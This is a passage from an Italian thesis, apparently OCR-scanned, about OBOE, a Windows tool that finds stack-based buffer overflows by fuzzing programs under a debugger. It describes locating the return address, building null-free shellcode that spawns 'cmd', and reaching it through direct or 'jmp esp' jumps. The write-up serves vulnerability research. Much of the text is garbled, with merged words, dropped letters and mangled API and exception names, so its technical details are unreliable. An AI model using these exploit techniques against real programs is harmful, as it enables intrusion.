sti eventi. Il processo debuggeeipnfine riprendere la sua esecuzione, dopo l'interru-
zione dovuta all’evento, quando il debugger chiama le @&htinueDebugEvent
e WaitForDebugEvent . Utilizzando queste due funzioni il debugger si riporta in
uno stato bloccato in attesa di altri eventi del debuggee.

3.3 Comportamento del target

Si possono a questo punto analizzare i comportamenti di un programma target in pre-
senza di un input che ha lo scopo di generare un buffer overflow. Si ricorda che I'input
fornito e costituito da stringhe composte da caratteri fissi oppure pseudocasuali.

Se nel targeé presente uno stack—based buffer overflow e il return address vie-
ne sovrascritto con una stringa casuale, il comportamento del progranaelatutto
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imprevedibile. Non si pd fare nessuna assunzione su cosa possa succedere, il flusso
di esecuzione potrebbe continuare con delle istruzioni totalmente casuali. Questo pu
ovviamente portare ad una serie di situazioni anomale.

Bisogna inoltre ricordare che lo stesso problema parsi anche utilizzando una
stringa formata da caratteri fissi. Non si¢pinfatti sapere che tipo di operazioni
sono fatte dal target sull'input; una stringa composta da caratteri fissdpantare
una stringa casuale. Inoltre anche con i caratteri fissi 8i gnesentare una situa-
zione particolarmente strana: se il return address viene sovrascritto solo in parte, il
comportamento del programregotalmente casuale.

Sebbene il programma potrebbe comportarsi in maniera completamente impreve-
dibile, si possono raggruppare tutti i casi in quattro classi distinte. Le prime due de-
rivano direttamente dai valori restituiti dalla AMaitForDebugEvent . Queste
due classi sono formate rispettivamente dai programmi che generano un’eccezione
e da quelli che segnalano la loro terminazione. In questi casi i valori restituiti dal-
la WaitForDebugEvent sono EXCEPTIONDEBUG_EVENT e EXIT_.PRO-
CESSDEBUG_EVENT. Le altre due classi non sono direttamente deducibili dai
valori restituiti dalla API, ma vengono ricavate da altre informazioni. In queste si-
tuazioni non si verificano degli eventi importanti nel debuggee gdindi necessario
che il debugger possa riprendere il controllo senza che si sia verificato un evento. Per
guesto motivo si imposta il secondo valore della A¥ditForDebugEvent  con un
numero che rappresenta il tempo, espresso in secondi, dopo il quale la funzione deve
ritornare.

In questo caso la chiamata némloccante e al ritorno si possono analizzare tutti i
dati del target. In particolare si cerca di capire se il processo sia finito in un loop che
ne impedisce la corretta esecuzione oppure se si sia bloccato. Il blocco potrebbe essere
causato dall'attesa di altri dati di input.

Nei prossimi paragrafi sono elencati gli esempi gignificativi che possono por-
tare il processo in uno dei quattro stati descritti. Sicuramente ci possono essere anche
altri esempi che derivano dall’esecuzione di codice casuale, ma tutti dovrebbero per
essere riconducibili ad uno di questi stati.
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3.3.1 Generazione di un’eccezione

Se nel debuggee si verifica un’eccezione, la funzidfatForDebugEvent  resti-
tuisce una struttura che, oltre a contenere il valore EXCEPTIIEBUG_EVENT,
fornisce indicazioni utili sul tipo dell’eccezione. In Windows sono presenti diversi tipi
di eccezioni, una tabella che contiene quelle pbtee contenuta nell’appendice A.

Questo stato, tra i quattré,quello pu interessante. La generazione dell’eccezione
pud essere dovuta a molti motivi; nel casaigemplicee presente un buffer over-
flow che tenta di scrivere tutti i 32KB di input sullo stack. In questo caso si verifica
un’eccezione per@égeneralmente lo stack occupa molto meno spazio. Se si ipotiz-
za che lo stack sia di una singola pagina e quindi occupi solo'4gBando si tenta
di scrivere oltre i confini della pagina, si potrebbe trovare un indirizzo virtuale che
none mappato su nessuna pagina fisica. Viene quindi generata un’eccezione di tipo
EXCEPTIONACCESSVIOLATION per segnalare che il processo ha cercato di
scrivere dei dati in una zona di memoria non allocata. Si noti che in questo caso, anche
se il return address viene sovrascritto, l'istruzione ret della funzionereseguita.

Se al contrario dell’esempio precedente i dati non superano la dimensione delle
pagine riservate per lo stack, possono essere generati anche altri tipi di eccezioni. Si
ipotizzi, per il momento, che venga eseguita la ret e che quindi il valore del return
address presente sullo stack venga messo nel regidro

Il return address potrebbe essere sovrascritto con un indirizzo virtuale non valido,
in questo caso il processo genera un’eccezione di tipo EXCEPTACKRESSVI-
OLATION per evitare che il programma continui la sua esecuzione in una zona di
memoria non allocata. Questa situazione % parificare frequentemente quando il
return address viene sovrascritto solo in parte oppure se viene sovrascritto con caratteri
casuali.

Si consideri ora il caso in cui il return address venga sovrascritto con un indi-
rizzo virtuale valido; il processo tenta di eseguire il codice binario che si trova in
quella posizione. Lindirizzo potrebbe pemppartenere ad una sezione di memo-
ria in cui sono contenuti i dati, potrebbero quindi non essere presenti delle istru-

1Con un processore di tipo pentium.
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zioni eseguibili. In questo caso il processo potrebbe generare un’eccezione del ti-
po EXCEPTIONILLEGAL INSTRUCTION oppure potrebbe segnalare che I'i-
struzionee logicamente incorretta riportando, ad esempio, un’eccezione di tipo EX-
CEPTIONFLT_DENORMAL_OPERAND. Se invece nellindirizzo virtuale fos-
sero presenti delle istruzioni valide, il programma continuerebbe in maniera del tutto
casuale finendo quasi sicuramente per generare un’eccezione. Questa situazidne si pu
verificare se l'indirizzo virtuale, con c@ sovrascritto il return address, si riferisce ad
una parte qualsiasi del codice del programma.

Si prenda in considerazione, come ultimo esempio, una situazione particolare in
cui si verifica un’eccezione di tipo EXCEPTIQNCCESSVIOLATION. Si as-
suma che ci sia un buffer overflow, i dati scritti sullo stack possano essere contenuti
senza generare eccezioni e il return address sia sovrascritto. Si ipotizzi inoltre che ci
sia almeno un puntatore tra le variabili locali o quelle passate come parametri. Se que-
sto puntatore viene sovrascritto con un indirizzo virtuale non valido e se la funzione
tenta di utilizzarlo per la lettura o scrittura viene generata un’eccezione di tipo EX-
CEPTIONACCESSVIOLATION. Quindi, a differenza dell’esempio precedente,
l'istruzione ret della funzione non viene eseguita.

3.3.2 Terminazione

Anche questa situazione, come la precedente, Girfponoscere dai valori restituiti
dallaWaitForDebugEvent , un programma rientra in questa classe quando I'API
ritorna il valore EXITPROCESSDEBUG_EVENT.

Il presentarsi di questo caso implica, la maggior parte delle volte, che nel target
siano presenti degli adeguati controlli e che I'input sia stato riconosciuto come incor-
retto. Nei programmi a riga di comando, se l'input fornit@bagliato, il programma
generalmente termina mostrando un help.

La terminazione del processo potrebbedpessere dovuta anche al fallimento del-
I'API che legge la stringa dal registre, infatti probabile che nei programmi venga
forzata la terminazione se le funzioni importanti come le API falliscono. Si ricorda



Capitolo 3. Implementazione di OBOE 27

che, come spiegato nel paragrafo 2.1.2, questa situazion® siepificare se si tenta
di leggere dal registro una stringaigirande del previsto.

C’e inoltre un altro caso che porta in questa situazione, un processmfati
terminare anche a causa di un buffer overflow. Anche seolto improbabile, non
si pw escludere che, dopo avere eseguito la ret, il programma esegua del codice che
provochi la terminazione del processo. In questo caso l'uso di caratteri pseudocasuali
dovrebbe alterare il comportamento su prove ripetute. Utilizzando diversi valori come
return addresg praticamente impossibile che il processo finisca sempre ad eseguire
del codice che ne provochi la terminazione.

3.3.3 Stato bloccato

Questo stato, come il successivo, non 3 pigonoscere direttamente dai valori resti-

tuiti dalla WaitForDebugEvent . In questi due casi non vengono infatti generati
degli eventi significativi dal debuggee e per individuartiecessario utilizzare un me-
todo non completamente deterministico. In assenza di eventi generati dal debuggee, il
debugger deve poter riprendere il controllo sul target dopo un certo intervallo di tempo.
In OBOE questo timeou fissato a 2 secondi, se durante questo tempo non vengono
generati degli eventi la funzion@/aitForDebugEvent  ritorna segnalando che il
timeoute scaduto.

Un processo paitrovarsi in questo stato per diversi motivi; un blocco temporaneo
pud essere provocato da un programma sviluppato con un singolo thread che aspetta di
ricevere dell'input da una periferica lenta come la rete. Un processanplire esse-
re considerato bloccato quando ha un’interfaccia grafica e aspetta che I'utente generi
gualche evento come la pressione di un tasto. Fino a quando questo evento non viene
generato il processo non consuma tempo di CPU.

Per individuare questi processi, OBOE, ogni volta che riprende il controllo dopo un
timeout, analizza attraverso I'AR3etProcessTimes il tempo di CPU che il target
ha utilizzato sia in user—space che in kernel-space. In particolare viene controllato se
guesto tempo sia cambiato rispetto alla rilevazione fatta precedentemente.
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Tra una rilevazione e la successiva, anche se il tempo di esecuzione rimane co-
stante g impossibile stabile se il processo sia bloccato oppure semplicemente non sia
stato schedulato. Non si punfatti avere la certezza che il processo sia andato in
esecuzione e che non abbia consumato del tempo di CPU. Per questo enstato
introdotto un contatore che memorizza il numero di volte in cui il tempo di esecuzione
e rimasto inalterato. Il contatore viene riazzerato ogni volta che si verifica un minimo
aumento del valore del tempo utilizzato in user—space o in kernel-space. Se il conta-
tore raggiunge il valore 3, il processo viene considerato bloceatdatti abbastanza
ragionevole assumere che in tutto quel tempo il processo sia stato schedulato almeno
una volta.

3.3.4 Stato diloop

L'ultimo stato in cui si pw presentare il processoquello di loop; questa situazione

non si dovrebbe mai verificare in un programriigpossibile peb finire in questo stato

a causa di un buffer overflow, non siinfatti escludere che, dopo avere eseguito

la ret, il processo finisca in un ciclo in cui la condizione di uscita non venga mai
soddisfatta. La gestione di questo statmolto simile a quella del precedente, si noti
inoltre che questo casb esattamente I'opposto. Nel precedente non veniva eseguita
nessuna istruzione mentre in questo sono eseguite in continuazione delle istruzioni
totalmente inutili.

Anche in questo stato nol possibile stabilire, con assoluta certezza, se il pro-
gramma sia effettivamente in loop oppure no. Il target potrebbe infatti essere sem-
plicemente un’applicazione molto pesante che richiede un tempo maggiore rispetto
ad un programma pisemplice. Come nel caso precedente, in assenza di eventi si-
gnificativi, il debugger riprende la sua esecuzione al termine del timeout fissato. An-
che in questo caso viene controllato il tempo che il processo ha consumato con 'API
GetProcessTimes

Per capire che un procesedloccato viene rilevato il tempo di esecuzione con-
sumato dopo la sua completa inizializzazione. Questo valore viene considerato come
tempo di partenza e successivamente, ogni volta che il timeout scade, il debugger cal-
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cola la differenza tra il tempo corrente e quello di partenza. Se la differenza supera la
soglia dei 3 secondi il processo viene considerato in loop.

Anche se questa soglia @psembrare eccessivamente rigida bisogna ricordare che
qui si confronta il tempo con quello che viene utilizzato da un singolo processo. Con
la potenza delle moderne CPU tre secondi dovrebbero bastare per la maggior parte dei
programmi esistenti. In OBOE &€’comunque la possibiitdi modificare tale valore:
'incremento della soglia deve essere fatto se, con diverse stringhe, viene sempre se-
gnalato questo stato. Bisogna infatti ricordare che il verificarsi di un éoop evento
abbastanza raro e quindi, se si presentavpite, molto probabilmente la causda
soglia troppo stringente.

3.4 Strategia utilizzata

Dopo avere definito il modo in cd stata implementata la parte di debugging e quali
sono i quattro casi in cui il target si purovare, vengono descritte le scelte fatte in
OBOE per determinare se un programma sia vulnerabile.

La prima decisione riguarda I'impostazione della stringa di input. Si utilizza una
stringa, formata da caratteri fissi 0 pseudocasuali, che occupa la grandezza massima
per il tipo di input utilizzato, mettendo negli ultimi quattro byte un indirizzo virtuale
che fa riferimento ad una zona di memoria del kernel.

Ci si aspetta che i dati di input, compreso questo indirizzo, siano copiati sullo stack
in presenza di un buffer overflow. Per trovare I'esatta posizione del return address si
sposta l'indirizzo virtuale da destra a sinistra di una posizione alla volta, generando un
processo per ciascuna stringaicotenuta. In questo modo si cerca di partire da una
situazione in cui I'indirizzo viene scritto al di sopra del return address fino ad arrivare
al caso in cui i quattro byte sovrascrivono esattamente il return address.

Se il target riporta un’eccezione che indica, in maniera inequivocabile, che il return
address stato sovrascritto con questo particolare indirizzo, significaecheesente
un buffer overflow di tipo stack—based ed inol&gpossibile modificare il flusso di
esecuzione del processo in modo arbitrario.
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Negli ultimi quattro byte viene inserito un indirizzo virtuale del kernel per avere
la certezza che, quando il target tenti di eseguire il codice presente in quella posizio-
ne, venga generata un’eccezione. Anche se OBQEto progettato per 'ambiente
Win32, non p essere eseguito correttamente nella famiglia di sistemi operativi del
tipo Windows 9x. In questi sistemi la zona di memoria riservata al kerneérmptet-
ta e quindi se si utilizza un indirizzo di questo tipo non viene generata un’eccezione
Come si po vedere dalla tabella 3.1, per avere un indirizzo di memoria del kernel, in
entrambe le configurazioni, bisogna scegliere un valore maggide@h000000 ,
in OBOE e stato scelto I'indirizz&xDEDEDEDE

Per capire in maniera inequivocabile che I'eccezione generata sia dovuta all’'ese-
cuzione della ret, bisogna controllare una serie di condizioni. 8igapire che sé
in questa situazione grazie al valore del regi€itB e alle informazioni riguardanti
I'eccezione. Ci si aspetta infatti di ricevere un’eccezione del tipo EXCEPTKIN
CESSVIOLATION in lettura e inoltre ci si aspetta che I'indirizzo dovessverificata
I'eccezione corrisponda al valore del regidii® ed al valoreOXDEDEDEDE

Anche se la particolare scelta per determinare la posizione del return address sullo
stack pw risultare inefficienteg I'unica praticabile. No® infatti possibile implemen-
tare in questo caso una ricerca binaria pérsipwo dimostrare che in alcune situazioni
complicate non si riesce a capire se, con la stringa utilizzata, sia stato sovrascritto |l
return address oppure no. L'unica possihiétquella di diminuire un byte per volta,
guesta operazione potrebbe richieder@partempo eccessivo. Si consideri il caso in
cui debbano essere generati 32K di processi e tutti siano bloccati: sono necessarie cir-
ca 54 ore per una singola stringa e un singolo parametro o chiave di registtindi
evidente che la fase di creazione dei processi nargggere fatta indiscriminatamente,
ma deve essere fatta solo quando sia possibile ipotizzare che ci sia un buffer overflow.

A tale proposito, a seconda del tipo di caratteri utilizzati per la costruzione delle
stringhe, sono state fatte delle scelte per determinare in quali casi valga veramente la
pena di generare tutti i processi.

2Qltre a questo motivo ci sono altri problemi che ne impediscono il funzionamento in questa famiglia
di sistemi operativi.
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3.4.1 Scrittura oltre le pagine di stack

Prima di analizzare le scelte fatte bisogna considerare un caso particolare che deve es-
sere gestito in anticipo e cleeindipendente dal tipo di caratteri utilizzati per comporre
le stringhe.

Questo cas@ gia stato presentato brevemente nel primo esempio del paragrafo
3.3.1 ede legato alla generazione di un’eccezione causata dal tentativo di scrittura
oltre i limiti dello stack. E interessante peréHa maggior parte delle volte indica la
presenza di un buffer overflow stack—based.

In OBOE, per capire che si sia verificata una situazione di questo éibata
implementata la seguente procedura. Quando si riceve un’eccezione di tipo access
violation, inizialmente viene letto il valore del registikSP del thread che 'ha ge-
nerata, si ottiene cosin riferimento ad una pagina dello stack. Successivamente si
controlla la presenza di altre pagine mappate in scrittura al di sopra di quella a cui fa
riferimentoESP. Partendo dal valore &SP si somma la grandezza di una padiea
si controllano i permessi delle pagine valide; si noti che queste pagine possono anche
non fare parte dello stack del thread. Dopo avere trovato l'ultima pagina scrivibile se
ne calcola I'indirizzo base. Se questo indirizzo corrisponde con quello nel guale si
verificata I'eccezione e quest’ultimaavvenuta in scrittura significa cheesientato di
scrivere oltre le pagine dello stack.

Se ci si trova in questa situazione viene quindi diminuito I'input affencbonfini
delle pagine non vengano oltrepassati. Dopo aver gasantito che i dati possano
essere scritti tutti senza generare quest’eccezionegsggionare come se il processo
fosse stato creato per la prima volta.

Si noti che il presentarsi di questa situazione quasi sicuramente implica la presenza
di un buffer overflow, questo pemon significa per forza che il return address della
funzione che lo causa sia sovrascritoinfatti possibile che la stringa di input venga
copiata sullo stack sopra il return address. Un caso di questo tipasigaificare
quando la funzione chiama a sua volta un’altra funzione passandole l'indirizzo di un
buffer locale e la stringa di input. Se l'ultima funzione chiamata copia tutti i dati della

3Questo valore si ricava dalla struttura dati ritornata dall’/&tSysteminfo
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stringa di input nel buffer della funzione chiamante, il suo return address, che si trova
in una posizione pi bassa sullo stack, non viene sovrascritto.

3.4.2 Stringhe fisse

Nell’ambito delle scelte legate alla generazione dei processi, il primo caso analizzato
e quello in cui si utilizza una stringa composta, a meno degli ultimi quattro byte, da un
unico carattere ripetuto. Il valore utilizzatoOxDD, questo byte non rappresenta un
carattere stampabile ma crea degli indirizzi composxiADDDDDD[Xhe si riferi-
scono ad una zona del kernel. Lo scopo di questi indigzavviamente quello di far
generare un’eccezione al target nel caso in cui tenti di utilizzarne uno.

Dopo aver assicurato che non si verifichi un’eccezione causata dalla scrittura oltre
le pagine di stack, si decide se approfondire ulteriormente un caso in base al com-
portamento del processo durante la sua prima esecuzione. Ci si aspetta infatti che,
utilizzando dei caratteri identici, il comportamento sia lo stesso fino a quando il return
address non venga sovrascritto con l'indiri£2d®EDEDEDE

Utilizzando il caratterédDxDD, see presente un buffer overflow stack—based do-
vrebbe generarsi un’eccezione. Per questo motivo I'analisi di un caso si interrompe
se, durante la prima esecuzione, il processo si trova in uno degli stati di: terminazione,
bloccato o loop. |l verificarsi di uno di questi stati non garantisce totalmente I'as-
senza di un buffer overflow, in quanto potrebbe ad esempio essere determinato dalla
sovrascrittura parziale del return address oppure da una trasformazione fatta sull’'input.

Considerando i casi in cui nel target viene generata un’eccezéooenveniente
isolare la situazione in cui viene riportata un’eccezione di tipo access violation da
tutti gli altri. Se questa eccezione non si verifica, si presenta un caso simile a quelli
precedenti ovvero potrebbe essere stata effettuata qualche trasformazione sull’input e
quindi si pw essere generata un’eccezione qualsiasi.

Il caso veramente interessaitévece dovuto al presentarsi di un access violation
e si possono distinguere tre situazioni differenti in base: al valore dell’indirizzo in
cui si verifica I'eccezione, al valore del registEbP e al tipo di eccezione (lettura o
scrittura).
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Nella prima situazione I'eccezione avviene in lettura e I'indirizzo dove si verifica
corrisponde al valore del registEIP ede inoltre uguale ®&xDDDDDDDION questo
contestae sicuramente presente un buffer overflow ed inoltre la funzione ha eseguito la
ret, e quindi possibile controllare a piacere il return address. Vengono quindi generati
tutti i processi fino a quando nel regist&P non compare il valor@€&xDEDEDEDE

La seconda situazione si verifica quando il valore del regisio non corrispon-
de all'indirizzo in cui si verifica I'eccezione, ma quest’ultimo conti@x®DDDDDDD
Questo significa che la funzione non ha eseguito la ret, ma ha tentato di utilizzare un
puntatore cheé stato sovrascritto: anche in questo caso OBOE genera tutti i processi. |l
puntatore utilizzato dalla funzione potrebbe essere uno di quelli passati come parame-
tro: se cosfosse, limitandosi a sovrascrivere il return address, questo valore resterebbe
inalterato e non si avrebbe quindi alcuna eccezione. Nel caso la funzione utilizzi in-
vece un puntatore dichiarato localmente, viene sempre generata un’eccezione, anche
guando ci si limita a sovrascrivere lo stack fino al return address.

L'ultima situazione si ha quando sia il registedP che I'indirizzo dove si verifica
I'eccezione non contengono il valodeDDDDDDDIY 'eccezione pa essere dovuta ad
un buffer overflow heap—based, ad una parziale modifica del return address oppure ad
una serie di trasformazioni fatte sull'input. In questo caso non vengono generati tutti i
processi perahnon si riceverebbe mai un’eccezione all'indiriZed EDEDEDE

3.4.3 Stringhe pseudocasuali

Si consideri ora I'altro tipo di input che viene passato al processo, gedstanato
da stringhe casuali composte da caratteri nel range a—z. Anche nella costruzione di
gueste stringhe vengono riservati gli ultimi quattro byte per memorizzare il valore
OXDEDEDEDE

Al contrario delle stringhe fisse, non si assume che il processo, nella prima esecu-
zione, generi un’eccezione ad un indirizzo noto. Rispetto al caso precedente aumen-
tano le probabilé che il processo finisca in uno degli stati di: terminazione, bloccato
o loop. Tali probabilid restano comunque basse, per questo motivo OBOE non ten-
ta la generazione di tutti i processi. Questa sceleache motivata dall’analisi fatta
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precedentemente sul tempo necessario per esaminare in modo esaustivo questi stati.
All'utente viene comungque segnalata la presenza di un possibile buffer overflow se,
prima di trovarsi in una di queste situazioni, il processo tenta si scrivere oltre i limiti
delle pagine riservate per lo stack.

Bisogna ora analizzare il caso in cui il target generi un’eccezione, in questa situa-
zione vengono sempre eseguiti tutti i processi indipendentemente dal tipo di eccezione.
In mancanza di un indirizzo di riferimento n@possibile escludere nessun caso par-
ticolare. Questa scelta non influisce pesantemente sul tempo di esecuzione: spostando
solo gli ultimi quattro byte ci si aspetta che ogni stringa creata faccia generare la stessa
eccezione. In questi casi, anche generando tutti i 32K di processi, il tempo sprecato
sarebbe solo all’incirca quindici minuti.

3.5 Rilascio delle risorse

Si e visto che in alcune situazioni OBOE deve essere in grado di generare un numero
elevato di processi. Dopo che il processestato generate necessario che, indipen-
dentemente dal modo in cui si comporta, OBOE riesca a farlo terminare correttamente
facendogli rilasciare tutte le risorse acquisite.

In Windows per far terminare un altro process@resente I'’APTerminate-
Process ; siriporta di seguito parte della sua documentazione:

The TerminateProcessfunction is used to unconditionally cause a pro-
cess to exit. The state of global data maintained by dynamic-link libraries
(DLLs) may be compromised iferminateProcessis used rather than
ExitProcess

guesto significa che I’API non permette al processo di rilasciare correttamente tutte le
risorse prima di terminare. Nelle prove che sono state effettuate, si arriva ad un punto
in cui laCreateProcess fallisce riportando questo errore:

ERROR_NO_SYSTEM_RESOURCES (1450) Insufficient system re-
sources exist to complete the requested service.
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E stato quindi necessario utilizzare un’altra soluzione per far terminare in modo cor-
retto tutti i processi. Sempre nella documentazione fornita per le API, sono presenti
i possibili modi con cui far terminare un processo correttamente [1]; traggtato
scelto il seguente:

A process executes untilAny thread of the process calls tR&itProcess
function. This terminates all threads of the process.

guesta APl deve ovviamente essere eseguita dal processo debuggee e non dal debugger.

Prima di analizzare i modi utilizzati per far eseguire al processo debuggato I'API,
bisogna ricordare che BxitProcess  utilizza lo standardgtdcalle riceve un unico
parametro in ingresso. Questo val@renormalmente utilizzato per capire quale sia
stata la causa che ha portato alla terminazione del processo. Considerando che OBOE
genera il processo, nanimportante impostare un codice particolare) pasere usato,
senza alcun problema, l'ultimo valore presente nello stack del thread che chiama la
funzione.

Per far eseguire |&xitProcess  al processo sono state utilizzate due strategie
differenti, in entrambe inizialmente si recupera I'indirizzo virtuale nel qéattato
caricato il codice della funzione.

La prima strategia utilizzata per i processi bloccati, che non eseguono nessuna
istruzione: per terminarli viene creato un nuovo thread al loro interno utilizzando I'API
CreateRemoteThread . In uno dei parametri di questa API bisogna specificare
dove si trova il codice da eseguire nello spazio utente del processo, questo valore viene
impostato con l'indirizzo virtuale dellgxitProcess

Per i processi che invece hanno riportato un’eccezione oppure sono finiti in un
loop si utilizza un’altra strategia: viene fatta eseguirExsProcess  direttamente
al thread che ha portato il processo in quel particolare stato. Per éaréagio che il
debugger ha ripreso il controllo, viene impostato il valore del regEtRo dell'ultimo
thread in esecuzione, con l'indirizzo virtuale nel quale si trov&X#Process
Viene poi rimandato in esecuzione il processo che termina correttamente rilasciando
tutte le risorse.



Capitolo

Shellcode

Alla fine del primo capitolce stato introdotto il payload e& stato detto che lo shell-
codee un particolare tipo di payload con lo scopo di fornire una shell. Dal punto di
vista tecnico lo shellcode una sequenza di byte formata da istruzioni in codice mac-
china ppcodé4]) che si vuole fare eseguire alla CPU. Queste istruzioni dipendono
totalmente dal processore che si utilizza e dal sistema operativo. Oltre a dover cono-
scere le istruzioni per il processoregssenziale sapere quale sia l'interfaccia messa a
disposizione dal sistema operativo per poter eseguire le chiamate di sissiseat

Per poter creare uno shellcod@ecessario utilizzare le syscall.

Una syscall pa essere paragonata ad una normale funzione, la differenza fonda-
mentale tra le due risiede nel fatto che la syscall viene eseguita in néoHatiel
mentre la funzione in modatitutente. Anche per I'esecuzione delle syscall, come per
le funzioni, sono presenti degli standard che descrivono il modo in cui devono essere
passati i parametri. Ad ogni sysca&linoltre associato un numero che la identifica
univocamente. Nei sistemi operativi che rispettano lo stand@8I1Xil numero asso-
ciato ad ogni syscak ben definito e, per garantire la massima portabilibn vera
mai modificato in futuro.

Nei sistemi unix—like generalmente lo shellcal@omposto da un’unica syscall
il cui scopoe quello di generare un processo. Per chiamare questa syscall vengono
impostati i parametri in modo opportuno ed inoltre si specifica il numero che la identi-
fica. Viene poi generato un interrupt software che permette il passaggio da user—space

36
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a kernel-space e la creazione del processo.

4.1 Shellcode in Windows

Anche se in ambiente Win32 sono presenti le syscall come negli altri sistemi opera-
tivi, non e consigliabile chiamarle utilizzando direttamente un interrupt software. Al
contrario degli standard POSIX, i numeri associati alle syscall nhon sono ben defini-
ti e possono cambiare tra le diverse versioni di Windows. Per garantire la massima
portabilita, & necessario utilizzare un’altra interfaccia messa a disposizione in questo
ambiente: le Win32 API.

Per poter utilizzare le API nello shellcodeecessario conoscere la loro posizione
allinterno della memoria virtuale. Il codice delle ABlinserito indll (Dynamically
Linked Library) e per poterle utilizzare necessario che la libreria sia caricata in me-
moria. La posizione in memoria delle librerie e lo spiazzamento delle API all'interno
di queste nore fisso, dipende dalla versione di Windows utilizzata e dai service pack
installati.

Per ottenere I'indirizzo di un’API generica si possono utilizzare le funziboad-
Library e GetProcAddress La prima carica una libreria in memoria, se nérgia
presente, e restituisce il suo indirizzo base. La seconda, invece, accetta come parame-
tri il nome di un’API e l'indirizzo base della dll che la contiene e restituisce I'indirizzo
virtuale dell’API richiesta. Grazie a queste due funziermjuindi possibile ottenere
I'indirizzo di tutte le API che vengono utilizzate nel payload.

Anche queste due funzioni, che sono contenute all'interno Betiael32.dl] sono
delle API edeé necessario conoscere il loro indirizzo prima di poterle utilizzare. La
libreria che le contiene viene sempre caricata in automatico dai prbckssinte la
loro esecuzione. La posizione dekarnel32.dlle la stessa per tutti i processi di un
sistema.

Per trovare I'indirizzo base dellernel32.dl) nello shellcode, si utilizzano normal-
mente delle tecniche avanzate di analisi della memoria virtuale[11]. Queste tecniche

LEsistono delle piccole eccezioni, in alcuni casi molto partic@l@ossibile impedire il caricamento
della libreria in memoria.
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non sono presentate in questo lavoro per@BOEe un processo indipendente dal
target che viene eseguito in locale. Dopo aver ottenuto, attraverso le fubhpiac
Library e GetProcAddressgli indirizzi delle API, OBOE genera dinamicamente lo
shellcode per il sistema operativo sul qualie esecuzione.

4.2 Shellcode in OBOE

Lo shellcode realizzato per OBOE utilizza solamente due API, entrandbgrgsen-
tate: CreateProcess e ExitProcess . L'esecuzione dell&xitProcess €
necessaria per fare terminare correttamente il processo che altrimenti continuerebbe
ad eseguire il codice presente dopo lo shellcode.

Il codice assembler dello shellcode con una spiegazione dettaglihddo inserito
in appendice B.

Nel primo capitolce stata illustrata I'importanza del null-byte nelle stringhe, que-
sto elemento deve essere considerato anche in questa fase. In OBOE lo shellcode viene
inserito nella stringa di input e&lquindi importante che nella sequenza di byte formata
dallo shellcode non sia presente uno zero. Se ci fosse un null-byte solo una parte dello
shellcode sarebbe copiata correttamente nel processo. Lo shellcode presente in appen-
dice non contiene zeri, per ottenere questo risultato sono state impiegate le seguenti

tecniche:

- La stringa “cmd” utilizzata dall€reateProcess  non contiene il null-byte
che viene aggiunto durante I'esecuzione dello shellcode stesso.

- Per ottenere l'indirizzo nello stack della stringa “cmd” non viene effettuata una
call in avanti ma indietro, in questo modo I'indirizzo relativo non contiene lo
zero.

- Per passare uno zero come parametro viene utilizzato il registro eax, questo
registro viene azzerato usando listruziomer eax,eax

Oltre che nello shellcode, anche nei quattro byte del return address non deve essere
presente uno zero; per ottenere un indirizzo senza null-byte sono state utilizzate due
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strategie differenti. A seconda della strategia cambia la posizione dello shellcode nella
stringa di input.

4.2.1 Salto diretto

La prima tecnica consiste nel sovrascrivere il return address con l'indirizzo di memoria
in cui e presente lo shellcode sullo stack.

Per utilizzare questa tecnica bisogna ricordare che gli indirizzi di memoria riservati
per lo stack sono normalmente del tipo: OXOONNXXXX. Dove con NN si indica un
numero diverso da zero mentre con XX un numero qualsiasi. Lo zero in prima posi-
zione non crea problemi, infatti, a causa dell’architettiitie@ endian I'indirizzo deve
essere messo nella stringa in questo modo: OXXXXXNNOO. Lindirieanesso in
fondo alla stringa di input, quindi lo zero viene utilizzato come null-byte. A seguito di
una strcpy(), lo zero viene posizionato correttamente j@graltilizzato per terminare
la stringa di destinazione.

In questo case evidente che lo shellcode p@ssere messo solamente prima del
return address. Sinoti che la posizione in cui deve essere scritto il return address influi-
sce sullo spazio a disposizione per lo shellcode. Si possono presentare delle situazioni
in cui la lunghezza dello shellco@esuperiore rispetto allo spazio disponibile.

Stabilita la posizione dello shellcode bisogna analizzare i casi in cui gli ultimi due
byte dell'indirizzo assumono il valore zero. Se lo zero si trova in ultima posizione, I'in-
dirizzo viene incrementato di uno. La corretta esecuzione dello shelicgdeantita
dalla presenza in prima posizione del b@0 . Questo valore, in codice macchina,
rappresenta l'istruzionBlOR il cui effetto € quello di incrementare il registigIP .

Se invece lo zero si presenta nella penultima posizione OBOE non riesce a generare
I'exploit.

4.2.2 Saltoindiretto

Per superare alcuni limiti presenti nel salto diretgtata implementata anche un’altra
strategia. In questo caso, al posto del return address, non viene messo direttamente
I'indirizzo in cui si trova lo shellcode, ma I'indirizzo di un’istruzioneagpresente in
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memoria, che effettua il salto allo shellcode. Per poter seguire questa strategia sono
necessari due elementi: deve esserci un riferimento ad una zona dello stack e inol-
tre deve essere presente in memoria un’istruzione che ci permetta di saltare a questo
riferimento.

Un puntatore ad una zona nello staclomssere ottenuto dal valore presente nel
registroESP. Si ricordi che si stanno cercando buffer overflow in programmi scritti
in C; ci si aspetta che le chiamate alle funzioni avvengano utilizzando lo standard
cdecl e che quindi sia compito del chiamato bilanciare lo stack. Questo significa che,
dopo aver eseguito l'istruzione ret, il regist&SP punta esattamente alla locazione
superiore rispetto a quella che conteneva il return address. Se quindi lo shellcode
viene posizionato a partire dal byte successivo al return address, dopo I'esecuzione
della ret, I'indirizzo dello shellcode sapresente nel registieSP.

E necessaria ora un’istruzioneagiresente in memoria, che ci permetta di saltare
al valore contenuto in questo registro. Si noti che l'indirizzo di questa istruZarie
lizzato per sovrascrivere il return addresseeguindi fondamentale che non contenga
uno zero.

Le istruzioni assembler che permettono di saltare all'indirizzo presente nel registro
ESPsono state chiamate in OBOE “useful jump” e sono le seguenti:

1. jmpesp
2. callesp

3. push esp/ret

anche se le ultime due modificano il valore del registro stesso, il loro scopo fina-
le e identico alla prima istruzione: I'esecuzione del programma continua dal valore
presente ireSP.

Queste istruzioni, come anticipato, devono essesiggesenti nello spazio di in-
dirizzamento del processo. Sebbene in teoria sarebbe possibile analizzare tutti i 2GB
di memoria del target, queste istruzioni vengono semplicemente cercate nelle librerie
caricate dal programma; OBOE riceve infatti un riferimento ogni volta che il target
carica una libreria. Nelle prove effettuaestato sufficiente analizzarekarnel32.dll
chee caricata in qualsiasi processo.
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In OBOE di defaulte utilizzato questo metodo per I'esecuzione dello shellcode,
se peod non viene trovato nessun useful jump si prova ad eseguire il salto diretto. I
salto indiretto, pur eliminando gli zeri dal return address, ha dei problemi; lo shellcode
